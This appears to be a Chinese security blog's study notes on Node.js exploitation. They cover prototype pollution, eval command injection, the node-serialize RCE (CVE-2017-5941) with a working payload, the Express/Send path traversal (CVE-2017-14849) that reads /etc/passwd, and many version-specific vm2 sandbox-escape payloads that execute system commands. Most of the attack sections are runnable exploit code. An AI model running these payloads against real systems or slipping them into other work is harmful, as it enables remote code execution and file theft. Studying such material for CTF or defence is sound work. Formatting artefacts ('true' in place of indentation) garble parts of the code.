0%

nodejs学习

1.原型链污染

  • prototype__proto__

每个实例对象( object )都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( proto ) ,层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

image-20200605161200256

几乎所有 JavaScript 中的对象都是位于原型链顶端的 Object 的实例。

总结一下

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性
  • JS原型链继承

    所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    let f = function () {
    this.a = 1;
    this.b = 2;
    }
    let o = new f();
    f.prototype.b = 3;
    f.prototype.c = 4;

    console.log(o.a);
    console.log(o.b);
    console.log(o.c);
    console.log(o.d);

image-20200605162929085

console.log(o.b);打印了2 似乎没被影响,其实这是个属性遮蔽 当要访问b属性时,对象先在自身的属性中寻找b,如果不存在b,才会到 __proto__中寻找,一层层往上,直到找到b或者null

总结一下

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性,指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制
  • 原型链污染

    原型链污染就是修改了类的 prototype那么将可以影响所有和这个对象来自同一个类、父祖类的对象

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    // foo是一个简单的JavaScript对象
    let foo = {bar: 1}

    // foo.bar 此时为1
    console.log(foo.bar)

    // 修改foo的原型(即Object)
    foo.__proto__.bar = 2

    // 由于查找顺序的原因,foo.bar仍然是1
    console.log(foo.bar)

    // 此时再用Object创建一个空的zoo对象
    let zoo = {}

    // 查看zoo.bar
    console.log(zoo.bar)
  • 哪些情况下存在原型链污染
    • 对象merge
    • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

简单例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

image-20200605165118904

需要注意的是一定要使用JSON格式,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

我们用JavaScript创建o2的过程,如果使用(let o2 = {a: 1, "__proto__": {b: 2}}),__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

2.危险函数

eval()

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。

漏洞利用

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令

类似命令

间隔两秒执行函数:

  • setInteval(some_function, 2000)

两秒后执行函数:

  • setTimeout(some_function, 2000);

some_function处就类似于eval函数的参数

输出HelloWorld:

  • Function(“console.log(‘HelloWolrd’)”)()

类似于php中的create_function

3.node-serialize反序列化RCE漏洞(CVE-2017-5941)

  • 了解什么是IIFE:

IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。

IIFE一般写成下面的形式:

1
2
3
(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();
  • node-serialize@0.0.4漏洞点

    漏洞代码位于node_modules\node-serialize\lib\serialize.js中:

    image-20200605172038278

这一行语句,可以看到传递给eval的参数是用括号包裹的,所以如果构造一个function(){}()函数,在反序列化时就会被当中IIFE立即调用执行

  • 构造Payload
1
2
3
4
5
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));

生成的Payload为:

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}

因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),结果如下:

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}

传递给unserialize(注意转义单引号):

1
2
3
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);

image-20200605172508592

4.Node.js 目录穿越漏洞复现(CVE-2017-14849)

漏洞影响的版本:

  • Node.js 8.5.0 + Express 3.19.0-3.21.2

  • Node.js 8.5.0 + Express 4.11.0-4.15.5

    Express依赖Send组件,Send组件0.11.0-0.15.6版本pipe()函数中,如图:

image-20200605211132980

Send模块通过normalize('.' + sep + path)标准化路径path后,并没有赋值给path,而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断,就能把目录跳转字符带入545行的join(root, path)函数中,跳转到我们想要跳转到的目录中,这是Send模块的一个bug,目前已经修复。

再来看Node.js,Node.js 8.5.0对path.js文件中的normalizeStringPosix函数进行了修改,使其能够对路径做到如下的标准化:

1
assert.strictEqual(path.posix.normalize('bar/foo../..'), 'bar');

新的修改带来了问题,通过单步调试我们发现,可以通过foo../../和目录跳转字符一起注入到路径中,foo../../可以把变量isAboveRoot设置为false(代码161行),并且在代码135行把自己删掉;变量isAboveRootfalse的情况下,可以在foo../../两边设置同样数量的跳转字符,让他们同样在代码135行把自己删除,这样就可以构造出一个带有跳转字符,但是通过normalizeStringPosix函数标准化后又会全部自动移除的payload,这个payload配合上面提到的Send模块bug就能够成功的返回一个我们想要的物理路径,最后在Send模块中读取并返回文件。

用Burpsuite获取地址:/static/../../../a/../../../../etc/passwd 即可下载得到/etc/passwd文件

image-20200605220006573

5.VM沙箱逃逸

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序,但是安全性让人捉急。逃逸后可获取主程序环境中的环境变量,然后通过各种方法导出 Function对象(上下文环境是主程序的),接着借助chile_process.exec()就可以执行任意命令了

一下payload大都来自vm2的issue

vm2<=3.9.2

1
2
3
4
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);

vm2<=3.9.1

1
2
3
4
5
6
const {NodeVM} = require('vm2');
const vm = new NodeVM();
console.log(vm.run('('+function() {
trueprocess = setTimeout(()=>{}).ref().constructor.constructor('return process')();
console.log(process.mainModule.require('child_process').execSync('ls').toString())}+')()'
));

3.7.0<=vm2<=3.8.3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const {VM} = require('vm2');
const untrusted = '(' + function(){
trueTypeError.prototype.get_process = f=>f.constructor("return process")();
truetry{
truetrueObject.preventExtensions(Buffer.from("")).a = 1;
true}catch(e){
truetruereturn e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
true}
}+')()';
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const {VM} = require('vm2');
const untrusted = '(' + function(){
truetry{
truetrueBuffer.from(new Proxy({}, {
truetruetruegetOwnPropertyDescriptor(){
truetruetruetruethrow f=>f.constructor("return process")();
truetruetrue}
truetrue}));
true}catch(e){
truetruereturn e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
true}
}+')()';
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}

3.7.0<=vm2<=3.8.2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const {VM} = require('vm2');
const untrusted = '(' + function(){
trueSymbol = {
truetrueget toStringTag(){
truetruetruethrow f=>f.constructor("return process")()
truetrue}
true};
truetry{
truetrueBuffer.from(new Map());
true}catch(f){
truetrueSymbol = {};
truetruereturn f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
true}
}+')()';
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}

3.6.7<=vm2<=3.6.9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
value:new Proxy({},{
getPrototypeOf(target){
if(this.t)
throw Buffer.from;
this.t=true;
return Object.getPrototypeOf(target);
}
})
});
}catch(e){
process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}

vm2<=3.6.8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""), "", {value:new Proxy({},{
getPrototypeOf(target){
delete this.getPrototypeOf;
Object.defineProperty(Object.prototype, "get", {
get(){
delete Object.prototype.get;
Function.prototype.__proto__ = null;
throw f=>f.constructor("return process")();
}
});
return Object.getPrototypeOf(target);
}
})});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}

vm2<=3.6.7

1
2
3
4
5
6
7
8
9
10
11
const {VM} = require('vm2');
const untrusted = `
Object.getOwnPropertyDescriptor(
Buffer.from.__lookupGetter__("__proto__").call(Buffer.from),
"constructor").value("return process")().mainModule.require(
"child_process").execSync("whoami").toString()`
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}

vm2=3.6.6

1
2
3
4
5
6
7
8
9
10
const {VM} = require('vm2');
const untrusted = `
Object.__defineGetter__(Symbol.hasInstance,()=>()=>true);
Buffer.from.constructor("return process")().mainModule.require("child_process").execSync("id").toString()
`;
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}

vm2<=3.6.6

1
2
3
4
5
6
7
8
9
10
11
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("id").toString()`
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}

vm2<=3.6.5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const {VM} = require('vm2');
const untrusted = `var process;
try{
Object.defineProperty(Buffer.from(""), "", {get set(){
Object.defineProperty(Object.prototype,"get",{get(){
throw x=>x.constructor("return process")();
}});
return ()=>{};
}});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}

vm2< =3.6.4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const {VM} = require('vm2');
const untrusted = `var process;
try{
Buffer.from({
valueOf: ()=>{
throw new Proxy({}, {
getPrototypeOf: ()=>{
throw x=>x.constructor.constructor("return process;")();
}
})
}
});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}

vm2<=3.5.2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const {VM} = require('vm2');
const untrusted = `var process;
try{
Buffer.from({
valueOf: ()=>{
throw new Proxy({}, {
getPrototypeOf: ()=>{
throw x=>x.constructor.constructor("return process;")();
}
})
}
});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
trueconsole.log(new VM().run(untrusted));
}catch(x){
trueconsole.log(x);
}

javascript大小写特性

对于toUpperCase():

1
字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"

对于toLowerCase():

1
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

在绕一些规则的时候就可以利用这几个特殊字符进行绕过

-------------本文结束感谢您的阅读-------------